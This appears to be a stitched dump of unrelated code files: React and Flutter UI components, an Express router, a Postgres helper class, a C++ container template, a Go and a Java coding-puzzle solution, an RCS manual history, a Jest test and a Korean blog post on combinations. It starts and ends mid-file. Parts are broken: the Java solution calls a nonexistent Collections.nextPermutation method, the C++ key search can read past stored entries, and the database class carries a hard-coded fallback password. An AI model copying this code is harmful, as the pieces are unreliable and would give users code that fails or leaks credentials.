hover:text-gray-800 my-2 transition duration-700 ease-in-out hover:bg-cyan-500'>All Details</button> </div> </div> ); }; export default Course;
import java.util.ArrayList; import java.util.Collections; import java.util.List; import java.util.Scanner; public class _17281{ static int N; static List<List<Integer>> v = new ArrayList<>(); static boolean print = false; public static void main(String[] args) { Scanner scanner = new Scanner(System.in); N = scanner.nextInt(); for (int i = 0; i < N; i++) { List<Integer> inning = new ArrayList<>(); for (int j = 0; j < 9; j++) { inning.add(scanner.nextInt()); } v.add(inning); } List<Integer> e = new ArrayList<>(); for (int i = 1; i <= 8; i++) { e.add(i); } Collections.sort(e); // 초기 정렬 (사실상 필요 없음, 이미 순서대로 추가됨) int maxScore = 0; do { if (print) { System.out.println("순서"); e.forEach(player -> System.out.print(player + " ")); System.out.println(); } int totalScore = 0; int playIdx = 0; for (int i = 0; i < N; i++) { List<Integer> curInning = new ArrayList<>(); int idx = 0; for (int j = 0; j < 9; j++) { if (j == 3) curInning.add(v.get(i).get(0)); else curInning.add(v.get(i).get(e.get(idx++))); } if (print) { System.out.println("주자 점수"); curInning.forEach(score -> System.out.print(score + " ")); System.out.println(); } int out = 0; int score = 0; int[] bases = new int[4]; // 0: 홈, 1: 1루, 2: 2루, 3: 3루 while (out < 3) { int now = curInning.get(playIdx++); if (playIdx > 8) playIdx = 0; if (now == 0) { out++; } else if (now >= 1 && now <= 3) { for (int j = 3; j >= 1; j--) { if (bases[j] == 1) { if (j + now > 3) { score++; } else { bases[j + now] = 1; } bases[j] = 0; } } bases[now] = 1; } else { score++; // 타자 자신의 점수 for (int j = 1; j <= 3; j++) { score += bases[j]; bases[j] = 0; // 홈으로 들어옴 } } } totalScore += score; // 매 이닝 끝나면 점수 합산 if (print) System.out.printf("score: %d, totalScore: %d\n", score, totalScore); } maxScore = Math.max(maxScore, totalScore); // 매 경기 끝나면 최대 점수 구하기 } while (Collections.nextPermutation(e)); System.out.println(maxScore); } // Java에서는 Collections 클래스에 nextPermutation 메소드가 없으므로, 이를 직접 구현해야 합니다. // 여기에 nextPermutation 메소드 구현 필요. 하지만 이 예제에서는 생략되었습니다. // Collections.nextPermutation(e) 호출 부분은 적절한 순열 생성 코드로 대체해야 합니다. }
import { Router } from 'express'; import { getCustomRepository } from 'typeorm'; import multer from 'multer'; import uploadConfig from '../config/upload'; import Transaction from '../models/Transaction'; import TransactionsRepository from '../repositories/TransactionsRepository'; import CreateTransactionService from '../services/CreateTransactionService'; import DeleteTransactionService from '../services/DeleteTransactionService'; import ImportTransactionsService from '../services/ImportTransactionsService'; interface Balance { income: number; outcome: number; total: number; } interface TransactionsDTO { transactions: Transaction[]; balance: Balance; } const transactionsRouter = Router(); const upload = multer(uploadConfig); transactionsRouter.get('/', async (request, response) => { const transactionsRepository = getCustomRepository(TransactionsRepository); const transactions = await transactionsRepository.find(); const balance = await transactionsRepository.getBalance(); const transactionsDTO: TransactionsDTO = { transactions, balance }; return response.json(transactionsDTO); }); transactionsRouter.post('/', async (request, response) => { const { title, value, type, category } = request.body; const createService = new CreateTransactionService(); const transaction = await createService.execute({ title, value, type, category, }); return response.json(transaction); }); transactionsRouter.delete('/:id', async (request, response) => { const { id } = request.params; const deleteService = new DeleteTransactionService(); await deleteService.execute({ id }); return response.sendStatus(204); }); transactionsRouter.post( '/import', upload.single('file'), async (request, response) => { const importService = new ImportTransactionsService(); const transactions = await importService.execute(request.file.path); return response.json(transactions); }, ); export default transactionsRouter;
head 1.2; access; symbols HOL97:1.2.2.2.0.2 bpHOL97:1.2.2.2 hol90_9_alpha:1.2.2.2 hol90_pre8_for_multiple_compilers:1.2.0.2 hol90_manual_after_dons_changes:1.1; locks; strict; comment @% @; 1.2 date 96.09.04.19.01.25; author drs1004; state dead; branches 1.2.2.1; next 1.1; 1.1 date 96.02.27.15.11.07; author drs1004; state Exp; branches; next ; 1.2.2.1 date 96.09.04.19.03.09; author drs1004; state Exp; branches; next 1.2.2.2; 1.2.2.2 date 96.09.06.09.53.21; author rjb; state Exp; branches; next ; desc @@ 1.2 log @Moving Manual changes to main devlopment branch (hol0_pre8 etc.) @ text @\chapter{Embedding languages} \section{Quotations for other object languages} As can be seen from the previous section, the \HOL\ system comes with parsers for the type and term languages. Quotation, and its sibling antiquotation, are interface features from the original LCF system that appear in \HOL. In the general case, a quotation is simply delimited by backquote marks, for example \begin{hol} \begin{verbatim} `A /\ B` \end{verbatim} \end{hol} In \HOL, quotations correspond to arbitrary object language expressions and hence they are a more general notion than in LCF and \HOLEIGHTY, where a quotation could only be either a type or term. There can be quotations from many different object languages in the same \HOL\ session. For example, quotation could be used for an embedded programming language, as well as the \HOL\ term and type languages. A consequence of this is that quotations must be parsed explicitly, instead of implicitly, as in \HOLEIGHTY. For example, the above quotation could be parsed as: \begin{hol} \begin{verbatim} term_parser `A /\ B` \end{verbatim} \end{hol} \noindent or, since the function \ml{"--"} is a bit of syntactic sugaring for \ml{term\_parser} (suggested by Richard Boulton of Cambridge University), as the standard: \begin{hol} \begin{verbatim} (--`A /\ B`--) \end{verbatim} \end{hol} \noindent Similarly, types could be parsed as \begin{hol} \begin{verbatim} type_parser `:(bool -> 'a) -> ('a # 'b) list` \end{verbatim} \end{hol} or as \begin{hol} \begin{verbatim} (==`:(bool -> 'a) -> ('a # 'b) list`==) \end{verbatim} \end{hol} \noindent One nicety of the system is that the \HOL\ prettyprinter will automatically surround a term or type with syntax that will re-parse it: \begin{session} \begin{verbatim} - term_parser `X \/ Y`; val it = (--`X \/ Y`--) : term \end{verbatim} \end{session} When using an embedded language, it is usually a fairly straight forward matter to write an ML-Lex/ML-Yacc (\ref{ML-Lex, ML-Yacc}) parser for that language, which produces either expressions in a custom \ML\ datatype, or \HOL\ terms. Ideally, the language definition should support place-holders for quotations. Once constructed, it should be possible to integrate such a parser with the quotation mechanism. Ideally, when combined with a custom pretty printer, this may work as shown in the example below. The example is taken from a Hoare-style language which uses \HOL\ expressions as its expression language. Note that instances of \HOL\ terms within the object language must be enclosed by \ml{\{$\ldots$\}} markers - the object language parser will use these markers to determine which parts of the input are to be parsed by the \HOL\ term parser. \begin{session} \begin{verbatim} - fun --- quote --- = my_language_parser quote; val quote : term frag list -> `a -> term - val loopbody = (---`begin x := {x - 1} end`---); val loopbody = (---`begin x := {x - 1}`---) : term - val guard = (--`x <> 0`--); val guard : (--`x <> 0`--) : term; - (---`while ^guard do ^loopbody`---); val it = (---`while {x <> 0} do begin x := {x - 1} end`---) : term \end{verbatim} \end{session} @ 1.2.2.1 log @Moving changes toManual Description to main development branch @ text @@ 1.2.2.2 log @Changed quotations. @ text @d45 1 a45 6 \noindent In the latest version of \HOLNINETY\ a filter is used on the input to the \HOL\ process. This allows \ml{``}$\ \cdots\ $\ml{``} to be used for both term and type quotations. One nicety of the system is that the \HOL\ prettyprinter will d49 1 a49 1 val it = ``X \/ Y`` : term d69 1 a69 1 val --- = fn : term frag list -> `a -> term d74 2 a75 2 - val guard = ``x <> 0``; val guard = ``x <> 0`` : term @ 1.1 log @much improved (??), by DRS @ text @@
package main /** 峰值元素是指其值严格大于左右相邻值的元素。 给你一个整数数组 nums,找到峰值元素并返回其索引。数组可能包含多个峰值,在这种情况下,返回 任何一个峰值 所在位置即可。 你可以假设 nums[-1] = nums[n] = -∞ 。 你必须实现时间复杂度为 O(log n) 的算法来解决此问题。 示例 1: 输入:nums = [1,2,3,1] 输出:2 解释:3 是峰值元素,你的函数应该返回其索引 2。 示例 2: 输入:nums = [1,2,1,3,5,6,4] 输出:1 或 5 解释:你的函数可以返回索引 1,其峰值元素为 2; 或者返回索引 5, 其峰值元素为 6。 提示: 1 <= nums.length <= 1000 -2³¹ <= nums[i] <= 2³¹ - 1 对于所有有效的 i 都有 nums[i] != nums[i + 1] Related Topics 数组 二分查找 👍 775 👎 0 */ //leetcode submit region begin(Prohibit modification and deletion) /* 爬坡法 规律一:如果nums[i] > nums[i+1],则在i之前一定存在峰值元素 规律二:如果nums[i] < nums[i+1],则在i+1之后一定存在峰值元素 */ func findPeakElement(nums []int) int { var left, right = 0, len(nums) - 1 for left < right { // 为何不能取等? mid := (left + right) >> 1 // 如果num[mid] > nums[mid+1] 左侧一定有峰值 if nums[mid] > nums[mid+1] { right = mid } else { left = mid + 1 // if条件的左右条件分别对应了left和right } } return left // 此处left和right都行 } //leetcode submit region end(Prohibit modification and deletion)
import React from 'react' import { getCountDown } from '../../utils/getCountDown' import styles from './raceItem.module.scss' export interface IRaceItem { advertised_start: number meeting_name: string race_number: number timeRemaining?: number } function RaceItem({ meeting_name, race_number, timeRemaining }: IRaceItem) { const countDown = timeRemaining ? getCountDown(timeRemaining) : '' return ( <div className={styles.raceItem}> <div className={styles.name}>{meeting_name}</div> <div className={styles.time}>{countDown}</div> <div className={styles.number}>Race {race_number}</div> </div> ) } export default RaceItem
import { ChangeEvent, MouseEvent, useState, KeyboardEvent, useRef, } from 'react'; import Actions from './ui/Actions'; import useRoomStore from '../../6_shared/hooks/store/useActiveRoomStore'; import { useChatSocketCtx } from '../../6_shared/socket/socketContext'; import { CHAT_EVENTS } from '../../6_shared/socket/types/events.enum'; import useUserStore from '../../6_shared/hooks/store/useUserStore'; import { getRoomUsers } from '../../6_shared/utils/getRoomUsers'; const SendMessageField = () => { const { user } = useUserStore(); const { socket } = useChatSocketCtx(); const { activeRoom } = useRoomStore(); const [messageText, setMessageText] = useState(''); const textAreaRef = useRef<HTMLTextAreaElement>(null); const { currentUser, participant } = getRoomUsers(activeRoom.users, user.id); const onMessageHandler = (event: ChangeEvent<HTMLTextAreaElement>) => { event.preventDefault(); const message = event.target.value; setMessageText(message); }; const onKeydownHandler = (event: KeyboardEvent<HTMLTextAreaElement>) => { if (event.code === 'Enter') { if (textAreaRef.current) { textAreaRef.current.blur(); setMessageText(''); } sendMessageToServer(); } }; const onSendMessageHandler = (event: MouseEvent<HTMLFormElement>) => { event.preventDefault(); setMessageText(''); sendMessageToServer(); }; const readMessage = () => { socket.emit('typing'); if (currentUser?.numberOfUnreadMessage) { socket.emit(CHAT_EVENTS.READ_MESSAGE_EMIT, { roomName: activeRoom.roomName, roomId: activeRoom.id, authorId: participant?.id, currentUserId: user.id, }); } }; const sendMessageToServer = () => { socket.emit(CHAT_EVENTS.SEND_MESSAGE, { authorId: user.id, message: messageText, roomName: activeRoom.roomName, roomId: activeRoom.id, }); }; return ( <div className="sticky bottom-2 w-full bg-white border border-light rounded-[20px] overflow-hidden"> <form onSubmit={onSendMessageHandler}> <div className="max-h-[96px]"> <textarea ref={textAreaRef} name="message" className="p-5 inline-flex w-full min-h-[96px] resize-none caret-nephritis border-b-2 border-b-grayish focus:outline-none" onChange={onMessageHandler} onKeyDown={onKeydownHandler} onFocus={readMessage} value={messageText} ></textarea> </div> <div className="py-3 px-5 flex justify-between"> <div className="grow"> <Actions /> </div> <button className="w-5 h-5 bg-send bg-no-repeat bg-center transition-all active:scale-90"></button> </div> </form> </div> ); }; export default SendMessageField;
import { Pool, PoolClient, QueryResult } from "pg"; import { Model } from "./Model"; import { object, string } from "@shared"; import { DatabaseInfo } from "./DatabaseInfo"; export class Database { private static readonly defaultOptions: Database.Options = { dropUnusedModels: false, reset: false, migrations: { table: "migrations", versioning: () => new Date().toISOString() } }; private static initializer_: () => Promise<void> = async () => { }; public static readonly initialize = async (options: Partial<Database.Options> = {}, initializer?: () => Promise<void>) => { if (!this.instance_) { const allOptions = object.mergeDefaults(options, Database.defaultOptions); console.log("Initializing database with options: ", allOptions); this.instance_ = new Database(allOptions); if (initializer) this.initializer_ = initializer; if (options.reset) { await this.reset(); } else { if (!await this.tableExists(DatabaseInfo.tableName)) await this.createTable(DatabaseInfo); const values: Model.Type<any>[] = Array.from(Model.getModels().values()); const databaseInfoRows = await this.query(`SELECT * FROM ${DatabaseInfo.tableName};`); await Promise.all(values.map((mod) => this.checkTable(mod, databaseInfoRows))); } } }; public static tableExists = async (tableName: string): Promise<boolean> => { const { rows, rowCount } = await this.query(`SELECT EXISTS ( SELECT 1 FROM pg_tables WHERE tablename = '${tableName}' ) AS exists;`); if (rowCount === 0) return false; return rows[0].exists; } private static readonly checkTable = async <T extends Model<T>>(model: Model.Type<T>, databaseInfo: QueryResult<any>): Promise<void> => { if (!await this.tableExists(model.tableName)) { const info = await this.createTable(model); await DatabaseInfo.insert({ name: model.tableName, info }); } else { const info = Model.getModelAttributes(model); const oldTable = databaseInfo.rows.find(n => n.name === model.tableName); if (!oldTable) { await DatabaseInfo.insert({ name: model.tableName, info }); return; } // find changes in table schemes const oldColumns = Object.keys(oldTable.info); const newColumns = Object.keys(info); oldColumns.forEach(k => { if (!newColumns.includes(k)) { // console.log(`delete column ${model.tableName}.${k}`); } else { // console.log(`check column attributes ${model.tableName}.${k}`, oldTable.info[k], info[k]); } }); newColumns.forEach((k) => { if (!oldColumns.includes(k)) { // console.log(`add column ${model.tableName}.${k}`); } }); } }; private static readonly getColumnType = <T extends Model<T>>(type: Model.Type<T>, column: keyof T): string => { const attrs: Model.TableColumn = Model.getModelAttributes(type)[column] || {}; if (attrs.identity) return `${attrs.identity[0]} generated ${attrs.identity[1] === "default" ? "BY DEFAULT" : "ALWAYS"} as identity`; if (attrs.foreignKey) return this.getColumnType(attrs.foreignKey[0] as Model.Type<any>, attrs.foreignKey[1] || "id"); return attrs.type || "text"; }; private static readonly createTable = async <T extends Model<T>>(model: Model.Type<T>): Promise<Model.TableInfo<T>> => { console.log(`create new table ${model.tableName}...`); const columns: string[] = []; let primaryKey: string | null = null; const info = Model.getModelAttributes(model); for (const column in info) { let columnStrings: string[] = [string.toSnakeCase(column)]; const attrs = info[column] || {}; let type = this.getColumnType<any>(model as any, column); if (attrs.foreignKey) { if (attrs.isPrimaryKey) throw new Error(`Cannot use primaryKey and foreignKey for the same column! Please check ${model.tableName}.${column}...`); columnStrings.push(type.split(" ")[0]); } else { columnStrings.push(type); } if (attrs.unique) columnStrings.push("unique"); if (attrs.isPrimaryKey) { if (primaryKey !== null) throw new Error(`Table ${model.tableName} can only have 1 primary key! Column ${primaryKey} is already used as primary key...`); primaryKey = column; } if (type !== "serial" && attrs.notNull) { columnStrings.push("not null"); } columns.push(columnStrings.join(" ")); } const sql = `CREATE TABLE IF NOT EXISTS ${model.tableName} (${columns.join(",")});`; await this.query(sql); return info; } public static readonly reset = async () => { console.log("Resetting database..."); await this.query(` DROP SCHEMA public CASCADE; CREATE SCHEMA public; GRANT ALL ON SCHEMA public TO postgres; GRANT ALL ON SCHEMA public TO public; COMMENT ON SCHEMA public IS 'standard public schema'; `); await this.createTable(DatabaseInfo); const values: Model.Type<any>[] = Array.from(Model.getModels().values()); const databaseInfoRows = await this.query(`SELECT * FROM ${DatabaseInfo.tableName};`); await Promise.all(values.map((mod) => this.checkTable(mod, databaseInfoRows))); await this.initializer_(); }; public static readonly query = async (query: string, values: any[] = []) => { if (!this.instance_) throw new Error(`Database is not initialized!`); const client = await this.instance_.pool_.connect(); const rows = await client.query(query, values); client.release(); return rows; } public static readonly transaction = async (callback: (client: PoolClient) => any) => { if (!this.instance_) throw new Error(`Database is not initialized!`); const client = await this.instance_.pool_.connect(); const rows = await callback(client); client.release(); return rows; } public static readonly get = () => this.instance_; private static instance_: Database; private readonly pool_: Pool; public get pool(): Pool { return this.pool_; } public readonly options: Readonly<Database.Options>; private constructor(options: Database.Options) { const { DB_PORT = 5432, DB_HOST = "localhost", DB_NAME = "portfolio", DB_USER = "postgres", DB_PASS = "dmtrllv" } = process.env; this.pool_ = new Pool({ host: DB_HOST, port: Number(DB_PORT), database: DB_NAME, user: DB_USER, password: DB_PASS }); this.pool_.on("error", (err, _client) => { console.error('Unexpected error on idle client', err) process.exit(-1) }); this.options = options; } }; export namespace Database { export type Options = { dropUnusedModels: boolean; reset: boolean; migrations: { table: string; versioning: (last: string) => string; } }; }
#ifndef CONTAINER_H_ #define CONTAINER_H_ using namespace std; /* Container templated class * first datatype is used for the keys * second datatype is used for the actual data * data can be accessed by giving the key for it * * */ template <class keyType, class dataType> class Container { private: // pointers will be used to dynamically allocate an array for keys and data keyType * keyA; dataType * dataA; // ints that keep track of the current size and the maximum possible size given by the caller int maxSize; int currentSize; public: Container(int); ~Container(); int size(); int max_size(); bool push_back(keyType, dataType); keyType key(int); dataType data(int); bool retrieve_by_key(keyType, dataType&); dataType& operator[](int); }; /* Constructor for a Container, allocates memory for the key and data arrays with the size specified by the caller * * num - int that sets the maximum size of the Container * */ template <class keyType, class dataType> Container<keyType, dataType>::Container(int num) { keyA = new keyType[num]; dataA = new dataType[num]; maxSize = num; currentSize = 0; } /* Destructor for a Container, frees memory that was allocated for the data and key arrays */ template <class keyType, class dataType> Container<keyType, dataType>::~Container() { delete[] dataA; delete[] keyA; } /* returns the current size of the container */ template <class keyType, class dataType> int Container<keyType, dataType>::size() { return currentSize; } /* returns the maximum size of the container, this size was initially specified by the user */ template <class keyType, class dataType> int Container<keyType, dataType>::max_size() { return maxSize; } /* Adds the given data and the key for it into the container, checks if the container is full. If full returns false. If the container has space * adds the given key and data and returns true * * key - the key that goes with the given data * data - the data that will be put into the container * */ template <class keyType, class dataType> bool Container<keyType, dataType>::push_back(keyType key, dataType data) { if (currentSize == maxSize) { return false; } else { keyA[currentSize] = key; dataA[currentSize] = data; currentSize++; return true; } } /* Returns the key at the given index. Completes bounds checking and throws a string if the given index is out bounds * * num - the index of the key */ template <class keyType, class dataType> keyType Container<keyType, dataType>::key(int num) { if (num < currentSize && num > -1) { return keyA[num]; } else { string s = "Element does not exist"; throw(s); } } /* Returns the data at the given index. Completes bounds checking and throws a string if the given index is out bounds * * num - the index of the data */ template <class keyType, class dataType> dataType Container<keyType, dataType>::data(int num) { if (num < currentSize && num > -1) { return dataA[num]; } else { string s = "Element does not exist"; throw(s); } } /* Completes linear search to find the index of the given key. Returns the data at that index by pointing the given data variable to it. * If the key was found succesfully returns true, otherwise returns false. * * key - the key that will be searched for * data - if the key is found it will point to the corresponding data after the function executes */ template <class keyType, class dataType> bool Container<keyType, dataType>::retrieve_by_key(keyType key, dataType &data) { int i = 0; for (; keyA[i] != key && i < currentSize; i++) {} if (keyA[i] == key) { data = dataA[i]; return true; } else { return false; } } /* Operator [] overload. Returns the data at the given index. Performs bounds checking and throws a string if the index * is out of bounds * * num - index of the data */ template <class keyType, class dataType> dataType& Container<keyType, dataType>::operator[](int num) { if (num < currentSize && num > -1) { return dataA[num]; } else { string s = "Element does not exist"; throw(s); } } #endif
import { BrowserRouter, Route, Routes } from "react-router-dom"; import Navbar from "./pages/Shared/navbar/Navbar"; import Home from "./pages/Home/Home"; import Footer from "./pages/Shared/footer/Footer"; import { useState } from "react"; import About from "./pages/About/About"; import Projects from "./pages/projects/Projects"; import PageNotFound from "./pages/PageNotFound/PageNotFound"; import Contact from "./pages/Contact/Contact"; import { useAosAnimation } from "./hooks/useAosAnimation"; function App() { const [isMenuOpen, setIsMenuOpen] = useState(false); useAosAnimation(); return ( <> <BrowserRouter> <Navbar isMenuOpen={isMenuOpen} setIsMenuOpen={setIsMenuOpen} /> <Routes> <Route index element={<Home isMenuOpen={isMenuOpen} />} /> <Route path="about-me" element={<About isMenuOpen={isMenuOpen} />} ></Route> <Route path="projects" element={<Projects isMenuOpen={isMenuOpen} />} /> <Route path="contact-me" element={<Contact isMenuOpen={isMenuOpen} />} /> <Route path="*" element={<PageNotFound />} /> </Routes> <Footer /> </BrowserRouter> </> ); } export default App;
--- title: 구슬을 나누는 경우의 수 date: 2022-11-27 +/-TTTT categories: [Coding Test, Programmers] tags: [codingtest, programmers] # TAG names should always be lowercase --- # 🔖 구슬을 나누는 경우의 수 ## `📌 문제` ###### 문제 설명 머쓱이는 구슬을 친구들에게 나누어주려고 합니다. 구슬은 모두 다르게 생겼습니다. 머쓱이가 갖고 있는 구슬의 개수 `balls`와 친구들에게 나누어 줄 구슬 개수 `share`이 매개변수로 주어질 때, `balls`개의 구슬 중 `share`개의 구슬을 고르는 가능한 모든 경우의 수를 return 하는 solution 함수를 완성해주세요. ------ ##### 제한사항 - 1 ≤ `balls` ≤ 30 - 1 ≤ `share` ≤ 30 - 구슬을 고르는 순서는 고려하지 않습니다. - `share` ≤ `balls` ------ ##### 입출력 예 | balls | share | result | | ----- | ----- | ------ | | 3 | 2 | 3 | | 5 | 3 | 10 | ------ ##### 입출력 예 설명 입출력 예 #1 - 서로 다른 구슬 3개 중 2개를 고르는 경우의 수는 3입니다. ![스크린샷 2022-08-01 오후 4.15.55.png](../../assets/img/postingImg/스크린샷 2022-08-01 오후 4.15.55.png) 입출력 예 #2 - 서로 다른 구슬 5개 중 3개를 고르는 경우의 수는 10입니다. ------ ##### Hint - 서로 다른 n개 중 m개를 뽑는 경우의 수 공식은 다음과 같습니다. - ![스크린샷 2022-08-01 오후 4.37.53.png](../../assets/img/postingImg/스크린샷 2022-08-01 오후 4.37.53.png) ## `✏️ 풀이` ```javascript function solution(balls, share) { var answer = 0; answer = factorial(balls) / (factorial(balls-share) * factorial(share)); return answer; } function factorial(num) { let n = BigInt(1); for (let i = num; i > 1; i--) { n *= BigInt(i); } return n; } ``` > 경우의 수를 구하는 문제이다. 서로 다른 n개중 m개를 뽑는 경우의 수 공식은 ` n! / (n-m)! * m!` 이므로 팩토리얼을 이용해서 문제를 풀어야한다. 팩토리얼을 구하기 위한 함수를 선언하고 BigInt()를 사용하여 큰 정수가 나와도 표현할 수 있게 지정하였다. > > for문을 사용하여 i에 매개변수 num을 할당하고, i가 1보다는 커야한다. 후에 후위 연산자를 통해 감소하게 한다. > > number에 매개변수 num으로 시작하여 -가 되는데, 팩토리얼은 n * n-1 * n-2... 형식이므로 number*= BigInt(i)를 하였다. - BigInt() - number 원시 값이 안정적으로 나타낼 수 있는 최대치인 2^53 - 1보다 큰 정수를 표현할 수 있는 내장 객체 - BigInt는 내장 Math객체의 메서드와 함께 사용할 수 없고, 연산에서 `Number`와 혼합해 사용할 수 없다. 따라서 먼저 같은 자료형으로 변환해야 한다. 그러나, BigInt가 Number로 바뀌면 정확성을 잃을 수 있으니 주의해야 한다 - 특정 상황에서는 Number 처럼 행동한다 - Boolean 함수를 사용해 Boolean 객체로 변환 - 논리 연산자와 같이 사용 - if문 등 조건 판별시 ## `🔍 다른 사람 풀이` ```javascript // 다른 사람 풀이 const 팩토리얼 = (num) => num === 0 ? 1 : num * 팩토리얼(num - 1) function solution(balls, share) { return Math.round(팩토리얼(balls) / 팩토리얼(balls - share) / 팩토리얼(share)) } ``` > 재귀 함수를 통해 풀이한 과정이다. 함수 표현식에 화살표 함수와 삼항연산자로 재귀함수를 구현하였다. 재귀함수를 통해 팩토리얼을 쉽게 구할 수 있는 것 같다. ## `💻 출력 결과` ![image-20221127144435488](../../assets/img/postingImg/image-20221127144435488.png)
import { render, screen } from "@testing-library/react"; import user from "@testing-library/user-event"; import { FreeTestIsOverModal } from "./FreeTestIsOverModal.component"; jest.mock("react-dom", () => { return { ...jest.requireActual("react-dom"), createPortal: (el: any) => el, }; }); const mockOpenPayment = jest.fn(() => {}); jest.mock("../../../hooks/usePayment.hook", () => { return { usePayment: () => mockOpenPayment, }; }); describe("FreeTestIsOverModal", () => { it("should render without errors", async () => { render(<FreeTestIsOverModal isShowing={true} onClose={() => {}} />); const freeTestIsOverModalElement = screen.getByTestId( "FreeTestIsOverModalStyled" ); expect(freeTestIsOverModalElement).toBeInTheDocument(); }); it("should try to open payment tab when BuyButton is clicked", async () => { render(<FreeTestIsOverModal isShowing={true} onClose={() => {}} />); const buyButtonElement = screen.getByText(/Comprar acesso/i); user.click(buyButtonElement); expect(mockOpenPayment).toHaveBeenCalledTimes(1); }); });
import { Box, Collapse, IconButton, TableCell, TableRow, Typography } from '@mui/material' import KeyboardArrowDownIcon from '@mui/icons-material/KeyboardArrowDown' import KeyboardArrowUpIcon from '@mui/icons-material/KeyboardArrowUp' import React from 'react' import { useState } from 'react' import { useTranslation } from 'react-i18next' import { DeleteOutline } from '@mui/icons-material' import { Link } from 'react-router-dom' /**CollapsibleRow is used in CreatedJobs -page in mobilevied. It represents * one job ad in a table and can be opened for more info. */ const CollapsibleRow = ({ row, handleDelete }: any) => { const [open, setOpen] = useState(false) const { t } = useTranslation() return ( <> {/*Header row*/} <TableRow /**Clicking anywhere on the row opens the row. */ onClick={() => setOpen(!open)} sx={{ borderBottom: 'none', display: 'flex', }} > {/**Title */} <TableCell padding='normal' sx={{ border: 'none', flex: 1, }} > <Typography>{row.title}</Typography> </TableCell> {/**Open/close icon */} <TableCell sx={{ padding: '0', border: 'none', flex: 1, maxWidth: '56px', textAlign: 'right', }} > <IconButton aria-label='expand row' size='small' sx={{ padding: '16px 16px 0 0', }} > {/**Show correct icon depending on open state. */} {open ? <KeyboardArrowUpIcon /> : <KeyboardArrowDownIcon />} </IconButton> </TableCell> </TableRow> {/*Details row */} <TableRow /**Clicking anywhere on the job ad closes it. */ onClick={() => setOpen(!open)} sx={{ borderBottom: '1px solid #E0E0E0', }} > <TableCell padding='none' sx={{ border: 'none', }} > {/**Collapsible part of the job ad content*/} <Collapse in={open} unmountOnExit> <Box sx={{ color: '#6C6C6C', padding: '0 16px 16px 16px', }} > {/**Job ad info */} <Typography>{`${t('job_release_date')}: ${row.createdAt}`}</Typography> <Typography>{`${t('job_category')}: ${row.category}`}</Typography> {/**Delete button */} <DeleteOutline sx={{ color: 'red', float: 'right', marginRight: '16px', marginBottom: '16px', }} onClick={() => handleDelete(row._id)} /> {/**Link to update job ad. (Not implemented at the moment.) */} <Link to={'/job/update/' + row._id} style={{ float: 'right', paddingTop: '2px', marginRight: '16px', marginBottom: '16px', color: 'green', }} > <span>{t('job_update')}</span> </Link> <Typography>{`${t('job_supplier')}: ${row.user.name}`}</Typography> </Box> </Collapse> </TableCell> </TableRow> </> ) } export default CollapsibleRow
import '/backend/backend.dart'; import '/flutter_flow/flutter_flow_icon_button.dart'; import '/flutter_flow/flutter_flow_theme.dart'; import '/flutter_flow/flutter_flow_util.dart'; import '/flutter_flow/flutter_flow_widgets.dart'; import 'package:flutter/material.dart'; import 'package:flutter/services.dart'; import 'package:google_fonts/google_fonts.dart'; import 'package:provider/provider.dart'; import 'tools_page_model.dart'; export 'tools_page_model.dart'; class ToolsPageWidget extends StatefulWidget { const ToolsPageWidget({Key? key}) : super(key: key); @override _ToolsPageWidgetState createState() => _ToolsPageWidgetState(); } class _ToolsPageWidgetState extends State<ToolsPageWidget> { late ToolsPageModel _model; final scaffoldKey = GlobalKey<ScaffoldState>(); @override void initState() { super.initState(); _model = createModel(context, () => ToolsPageModel()); logFirebaseEvent('screen_view', parameters: {'screen_name': 'ToolsPage'}); WidgetsBinding.instance.addPostFrameCallback((_) => setState(() {})); } @override void dispose() { _model.dispose(); super.dispose(); } @override Widget build(BuildContext context) { if (isiOS) { SystemChrome.setSystemUIOverlayStyle( SystemUiOverlayStyle( statusBarBrightness: Theme.of(context).brightness, systemStatusBarContrastEnforced: true, ), ); } context.watch<FFAppState>(); return GestureDetector( onTap: () => _model.unfocusNode.canRequestFocus ? FocusScope.of(context).requestFocus(_model.unfocusNode) : FocusScope.of(context).unfocus(), child: Scaffold( key: scaffoldKey, backgroundColor: FlutterFlowTheme.of(context).primaryBackground, appBar: AppBar( backgroundColor: FlutterFlowTheme.of(context).primaryBackground, automaticallyImplyLeading: false, leading: FlutterFlowIconButton( borderColor: Colors.transparent, borderRadius: 30.0, borderWidth: 1.0, buttonSize: 60.0, icon: Icon( Icons.arrow_back_rounded, color: FlutterFlowTheme.of(context).secondaryText, size: 30.0, ), onPressed: () async { logFirebaseEvent('TOOLS_arrow_back_rounded_ICN_ON_TAP'); logFirebaseEvent('IconButton_navigate_back'); context.pop(); }, ), title: Align( alignment: AlignmentDirectional(-1.00, 0.00), child: Text( 'Utilidades del Agro', style: FlutterFlowTheme.of(context).headlineMedium.override( fontFamily: 'Poppins', fontSize: 22.0, ), ), ), actions: [], centerTitle: true, elevation: 0.0, ), body: SafeArea( top: true, child: Column( mainAxisSize: MainAxisSize.max, children: [ Expanded( child: Container( width: double.infinity, height: 100.0, decoration: BoxDecoration(), child: Padding( padding: EdgeInsetsDirectional.fromSTEB(18.0, 0.0, 18.0, 0.0), child: StreamBuilder<List<ToolsRecord>>( stream: queryToolsRecord( queryBuilder: (toolsRecord) => toolsRecord.where( 'published', isEqualTo: true, ), ), builder: (context, snapshot) { // Customize what your widget looks like when it's loading. if (!snapshot.hasData) { return Center( child: SizedBox( width: 36.0, height: 36.0, child: CircularProgressIndicator( valueColor: AlwaysStoppedAnimation<Color>( FlutterFlowTheme.of(context).primary, ), ), ), ); } List<ToolsRecord> listViewToolsRecordList = snapshot.data!; return ListView.builder( padding: EdgeInsets.zero, scrollDirection: Axis.vertical, itemCount: listViewToolsRecordList.length, itemBuilder: (context, listViewIndex) { final listViewToolsRecord = listViewToolsRecordList[listViewIndex]; return InkWell( splashColor: Colors.transparent, focusColor: Colors.transparent, hoverColor: Colors.transparent, highlightColor: Colors.transparent, onTap: () async { logFirebaseEvent( 'TOOLS_Container_hkik1bae_ON_TAP'); logFirebaseEvent('Container_navigate_to'); context.pushNamed( 'ToolsDetailPage', queryParameters: { 'id': serializeParam( listViewToolsRecord.reference, ParamType.DocumentReference, ), }.withoutNulls, ); }, child: Container( width: 100.0, height: 55.0, decoration: BoxDecoration(), child: Column( mainAxisSize: MainAxisSize.max, mainAxisAlignment: MainAxisAlignment.spaceEvenly, children: [ Padding( padding: EdgeInsetsDirectional.fromSTEB( 12.0, 0.0, 12.0, 0.0), child: Row( mainAxisSize: MainAxisSize.max, mainAxisAlignment: MainAxisAlignment.spaceBetween, children: [ Text( listViewToolsRecord.name, style: FlutterFlowTheme.of(context) .bodyMedium, ), Icon( 